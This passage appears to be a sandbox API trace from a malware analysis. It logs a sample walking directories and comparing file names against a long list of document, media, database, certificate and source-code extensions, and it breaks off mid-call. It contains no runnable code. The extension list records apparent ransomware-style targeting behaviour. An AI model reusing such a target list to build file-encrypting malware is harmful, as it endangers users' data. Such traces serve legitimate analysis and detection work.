lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".cfm") returned 4 [0105.006] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".cfml") returned 5 [0105.006] lstrcmpiW (lpString1=".cfml", lpString2="0.dll") returned -1 [0105.006] lstrlenW (lpString=".cfu") returned 4 [0105.006] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".chm") returned 4 [0105.006] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".cin") returned 4 [0105.006] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0105.006] lstrlenW (lpString=".class") returned 6 [0105.007] lstrcmpiW (lpString1=".class", lpString2="00.dll") returned -1 [0105.007] lstrlenW (lpString=".clx") returned 4 [0105.007] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".config") returned 7 [0105.007] lstrcmpiW (lpString1=".config", lpString2="100.dll") returned -1 [0105.007] lstrlenW (lpString=".cpp") returned 4 [0105.007] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".cr2") returned 4 [0105.007] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".crt") returned 4 [0105.007] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".crw") returned 4 [0105.007] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".cs") returned 3 [0105.007] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0105.007] lstrlenW (lpString=".css") returned 4 [0105.007] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".csv") returned 4 [0105.007] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".cub") returned 4 [0105.007] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".dae") returned 4 [0105.007] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0105.007] lstrlenW (lpString=".dat") returned 4 [0105.007] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0105.008] lstrlenW (lpString=".db") returned 3 [0105.008] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0105.008] lstrlenW (lpString=".dbf") returned 4 [0105.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0105.008] lstrlenW (lpString=".dbx") returned 4 [0105.008] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0105.008] lstrlenW (lpString=".dc3") returned 4 [0105.008] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0105.008] lstrlenW (lpString=".dcm") returned 4 [0105.008] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0105.008] lstrlenW (lpString=".dcr") returned 4 [0105.008] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0105.008] lstrlenW (lpString=".der") returned 4 [0105.008] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0105.008] lstrlenW (lpString=".dib") returned 4 [0105.008] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0105.008] lstrlenW (lpString=".dic") returned 4 [0105.008] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0105.009] lstrlenW (lpString=".dif") returned 4 [0105.009] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0105.009] lstrlenW (lpString=".divx") returned 5 [0105.009] lstrcmpiW (lpString1=".divx", lpString2="0.dll") returned -1 [0105.009] lstrlenW (lpString=".djvu") returned 5 [0105.009] lstrcmpiW (lpString1=".djvu", lpString2="0.dll") returned -1 [0105.009] lstrlenW (lpString=".dng") returned 4 [0105.009] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0105.009] lstrlenW (lpString=".doc") returned 4 [0105.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0105.009] lstrlenW (lpString=".docm") returned 5 [0105.009] lstrcmpiW (lpString1=".docm", lpString2="0.dll") returned -1 [0105.009] lstrlenW (lpString=".docx") returned 5 [0105.009] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0105.009] lstrlenW (lpString=".dot") returned 4 [0105.009] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0105.009] lstrlenW (lpString=".dotm") returned 5 [0105.009] lstrcmpiW (lpString1=".dotm", lpString2="0.dll") returned -1 [0105.009] lstrlenW (lpString=".dotx") returned 5 [0105.009] lstrcmpiW (lpString1=".dotx", lpString2="0.dll") returned -1 [0105.009] lstrlenW (lpString=".dpx") returned 4 [0105.009] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0105.009] lstrlenW (lpString=".dqy") returned 4 [0105.009] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0105.009] lstrlenW (lpString=".dsn") returned 4 [0105.009] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0105.010] lstrlenW (lpString=".dt") returned 3 [0105.010] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0105.010] lstrlenW (lpString=".dtd") returned 4 [0105.010] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0105.010] lstrlenW (lpString=".dwg") returned 4 [0105.010] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0105.010] lstrlenW (lpString=".dwt") returned 4 [0105.010] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0105.010] lstrlenW (lpString=".dx") returned 3 [0105.010] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0105.010] lstrlenW (lpString=".dxf") returned 4 [0105.010] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0105.010] lstrlenW (lpString=".edml") returned 5 [0105.010] lstrcmpiW (lpString1=".edml", lpString2="0.dll") returned -1 [0105.010] lstrlenW (lpString=".efd") returned 4 [0105.010] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0105.010] lstrlenW (lpString=".elf") returned 4 [0105.010] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".emf") returned 4 [0105.011] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".emz") returned 4 [0105.011] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".epf") returned 4 [0105.011] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".eps") returned 4 [0105.011] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".epsf") returned 5 [0105.011] lstrcmpiW (lpString1=".epsf", lpString2="0.dll") returned -1 [0105.011] lstrlenW (lpString=".epsp") returned 5 [0105.011] lstrcmpiW (lpString1=".epsp", lpString2="0.dll") returned -1 [0105.011] lstrlenW (lpString=".erf") returned 4 [0105.011] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".exr") returned 4 [0105.011] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".f4v") returned 4 [0105.011] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".fido") returned 5 [0105.011] lstrcmpiW (lpString1=".fido", lpString2="0.dll") returned -1 [0105.011] lstrlenW (lpString=".flm") returned 4 [0105.011] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".flv") returned 4 [0105.011] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0105.011] lstrlenW (lpString=".frm") returned 4 [0105.012] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".fxg") returned 4 [0105.012] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".geo") returned 4 [0105.012] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".gif") returned 4 [0105.012] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".grs") returned 4 [0105.012] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".gz") returned 3 [0105.012] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0105.012] lstrlenW (lpString=".h") returned 2 [0105.012] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0105.012] lstrlenW (lpString=".hdr") returned 4 [0105.012] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".hpp") returned 4 [0105.012] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".hta") returned 4 [0105.012] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".htc") returned 4 [0105.012] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".htm") returned 4 [0105.012] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0105.012] lstrlenW (lpString=".html") returned 5 [0105.012] lstrcmpiW (lpString1=".html", lpString2="0.dll") returned -1 [0105.012] lstrlenW (lpString=".icb") returned 4 [0105.012] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0105.013] lstrlenW (lpString=".ics") returned 4 [0105.013] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0105.013] lstrlenW (lpString=".iff") returned 4 [0105.013] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0105.013] lstrlenW (lpString=".inc") returned 4 [0105.014] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0105.014] lstrlenW (lpString=".indd") returned 5 [0105.014] lstrcmpiW (lpString1=".indd", lpString2="0.dll") returned -1 [0105.014] lstrlenW (lpString=".ini") returned 4 [0105.014] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0105.014] lstrlenW (lpString=".iqy") returned 4 [0105.014] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0105.014] lstrlenW (lpString=".j2c") returned 4 [0105.014] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0105.014] lstrlenW (lpString=".j2k") returned 4 [0105.014] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0105.014] lstrlenW (lpString=".java") returned 5 [0105.015] lstrcmpiW (lpString1=".java", lpString2="0.dll") returned -1 [0105.015] lstrlenW (lpString=".jp2") returned 4 [0105.015] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".jpc") returned 4 [0105.015] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".jpe") returned 4 [0105.015] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".jpeg") returned 5 [0105.015] lstrcmpiW (lpString1=".jpeg", lpString2="0.dll") returned -1 [0105.015] lstrlenW (lpString=".jpf") returned 4 [0105.015] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".jpg") returned 4 [0105.015] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".jpx") returned 4 [0105.015] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".js") returned 3 [0105.015] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0105.015] lstrlenW (lpString=".jsf") returned 4 [0105.015] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".json") returned 5 [0105.015] lstrcmpiW (lpString1=".json", lpString2="0.dll") returned -1 [0105.015] lstrlenW (lpString=".jsp") returned 4 [0105.015] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".kdc") returned 4 [0105.015] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".kmz") returned 4 [0105.015] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0105.015] lstrlenW (lpString=".kwm") returned 4 [0105.016] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0105.016] lstrlenW (lpString=".lasso") returned 6 [0105.016] lstrcmpiW (lpString1=".lasso", lpString2="00.dll") returned -1 [0105.016] lstrlenW (lpString=".lbi") returned 4 [0105.016] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0105.016] lstrlenW (lpString=".lgf") returned 4 [0105.016] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0105.016] lstrlenW (lpString=".lgp") returned 4 [0105.016] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0105.016] lstrlenW (lpString=".log") returned 4 [0105.016] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0105.016] lstrlenW (lpString=".m1v") returned 4 [0105.016] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0105.017] lstrlenW (lpString=".m4a") returned 4 [0105.017] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0105.017] lstrlenW (lpString=".m4v") returned 4 [0105.017] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0105.017] lstrlenW (lpString=".max") returned 4 [0105.017] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0105.017] lstrlenW (lpString=".md") returned 3 [0105.017] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0105.017] lstrlenW (lpString=".mda") returned 4 [0105.017] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mdb") returned 4 [0105.018] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mde") returned 4 [0105.018] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mdf") returned 4 [0105.018] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mdw") returned 4 [0105.018] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mef") returned 4 [0105.018] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mft") returned 4 [0105.018] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mfw") returned 4 [0105.018] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mht") returned 4 [0105.018] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mhtml") returned 6 [0105.018] lstrcmpiW (lpString1=".mhtml", lpString2="00.dll") returned -1 [0105.018] lstrlenW (lpString=".mka") returned 4 [0105.018] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mkidx") returned 6 [0105.018] lstrcmpiW (lpString1=".mkidx", lpString2="00.dll") returned -1 [0105.018] lstrlenW (lpString=".mkv") returned 4 [0105.018] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0105.018] lstrlenW (lpString=".mos") returned 4 [0105.019] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".mov") returned 4 [0105.019] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".mp3") returned 4 [0105.019] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".mp4") returned 4 [0105.019] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".mpeg") returned 5 [0105.019] lstrcmpiW (lpString1=".mpeg", lpString2="0.dll") returned -1 [0105.019] lstrlenW (lpString=".mpg") returned 4 [0105.019] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".mpv") returned 4 [0105.019] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".mrw") returned 4 [0105.019] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".msg") returned 4 [0105.019] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".mxl") returned 4 [0105.019] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".myd") returned 4 [0105.019] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".myi") returned 4 [0105.019] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0105.019] lstrlenW (lpString=".nef") returned 4 [0105.020] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".nrw") returned 4 [0105.020] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".obj") returned 4 [0105.020] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".odb") returned 4 [0105.020] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".odc") returned 4 [0105.020] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".odm") returned 4 [0105.020] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".odp") returned 4 [0105.020] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".ods") returned 4 [0105.020] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".oft") returned 4 [0105.020] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".one") returned 4 [0105.020] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".onepkg") returned 7 [0105.020] lstrcmpiW (lpString1=".onepkg", lpString2="100.dll") returned -1 [0105.020] lstrlenW (lpString=".onetoc2") returned 8 [0105.020] lstrcmpiW (lpString1=".onetoc2", lpString2="a100.dll") returned -1 [0105.020] lstrlenW (lpString=".opt") returned 4 [0105.020] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0105.020] lstrlenW (lpString=".oqy") returned 4 [0105.021] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".orf") returned 4 [0105.021] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".p12") returned 4 [0105.021] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".p7b") returned 4 [0105.021] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".p7c") returned 4 [0105.021] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".pam") returned 4 [0105.021] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".pbm") returned 4 [0105.021] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".pct") returned 4 [0105.021] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".pcx") returned 4 [0105.021] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".pdd") returned 4 [0105.021] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".pdf") returned 4 [0105.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".pdp") returned 4 [0105.021] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0105.021] lstrlenW (lpString=".pef") returned 4 [0105.021] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0105.022] lstrlenW (lpString=".pem") returned 4 [0105.022] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0105.022] lstrlenW (lpString=".pff") returned 4 [0105.022] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0105.022] lstrlenW (lpString=".pfm") returned 4 [0105.022] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0105.022] lstrlenW (lpString=".pfx") returned 4 [0105.022] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0105.022] lstrlenW (lpString=".pgm") returned 4 [0105.022] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0105.022] lstrlenW (lpString=".php") returned 4 [0105.022] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0105.022] lstrlenW (lpString=".php3") returned 5 [0105.022] lstrcmpiW (lpString1=".php3", lpString2="0.dll") returned -1 [0105.022] lstrlenW (lpString=".php4") returned 5 [0105.022] lstrcmpiW (lpString1=".php4", lpString2="0.dll") returned -1 [0105.022] lstrlenW (lpString=".php5") returned 5 [0105.022] lstrcmpiW (lpString1=".php5", lpString2="0.dll") returned -1 [0105.022] lstrlenW (lpString=".phtml") returned 6 [0105.022] lstrcmpiW (lpString1=".phtml", lpString2="00.dll") returned -1 [0105.022] lstrlenW (lpString=".pict") returned 5 [0105.022] lstrcmpiW (lpString1=".pict", lpString2="0.dll") returned -1 [0105.022] lstrlenW (lpString=".pl") returned 3 [0105.022] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0105.022] lstrlenW (lpString=".pls") returned 4 [0105.022] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".pm") returned 3 [0105.023] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0105.023] lstrlenW (lpString=".png") returned 4 [0105.023] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".pnm") returned 4 [0105.023] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".pot") returned 4 [0105.023] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".potm") returned 5 [0105.023] lstrcmpiW (lpString1=".potm", lpString2="0.dll") returned -1 [0105.023] lstrlenW (lpString=".potx") returned 5 [0105.023] lstrcmpiW (lpString1=".potx", lpString2="0.dll") returned -1 [0105.023] lstrlenW (lpString=".ppa") returned 4 [0105.023] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".ppam") returned 5 [0105.023] lstrcmpiW (lpString1=".ppam", lpString2="0.dll") returned -1 [0105.023] lstrlenW (lpString=".ppm") returned 4 [0105.023] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".pps") returned 4 [0105.023] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".ppsm") returned 5 [0105.023] lstrcmpiW (lpString1=".ppsm", lpString2="0.dll") returned -1 [0105.023] lstrlenW (lpString=".ppt") returned 4 [0105.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0105.023] lstrlenW (lpString=".pptm") returned 5 [0105.024] lstrcmpiW (lpString1=".pptm", lpString2="0.dll") returned -1 [0105.024] lstrlenW (lpString=".pptx") returned 5 [0105.024] lstrcmpiW (lpString1=".pptx", lpString2="0.dll") returned -1 [0105.024] lstrlenW (lpString=".prn") returned 4 [0105.024] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0105.024] lstrlenW (lpString=".ps") returned 3 [0105.024] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0105.024] lstrlenW (lpString=".psb") returned 4 [0105.024] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0105.024] lstrlenW (lpString=".psd") returned 4 [0105.024] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0105.024] lstrlenW (lpString=".pst") returned 4 [0105.024] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0105.024] lstrlenW (lpString=".ptx") returned 4 [0105.024] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0105.024] lstrlenW (lpString=".pub") returned 4 [0105.024] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0105.024] lstrlenW (lpString=".pwm") returned 4 [0105.024] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0105.024] lstrlenW (lpString=".pxr") returned 4 [0105.024] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0105.024] lstrlenW (lpString=".py") returned 3 [0105.024] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0105.024] lstrlenW (lpString=".qt") returned 3 [0105.024] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0105.024] lstrlenW (lpString=".r3d") returned 4 [0105.024] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0105.025] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0105.025] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0105.025] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0105.025] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0105.040] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f53eb8 | out: hHeap=0x4b0000) returned 1 [0105.041] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0105.041] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f03e98 | out: hHeap=0x4b0000) returned 1 [0105.041] FindNextFileW (in: hFindFile=0x3e50180, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0105.041] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0105.044] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0105.044] FindClose (in: hFindFile=0x3e50200 | out: hFindFile=0x3e50200) returned 1 [0105.044] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0105.045] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x349f800 | out: 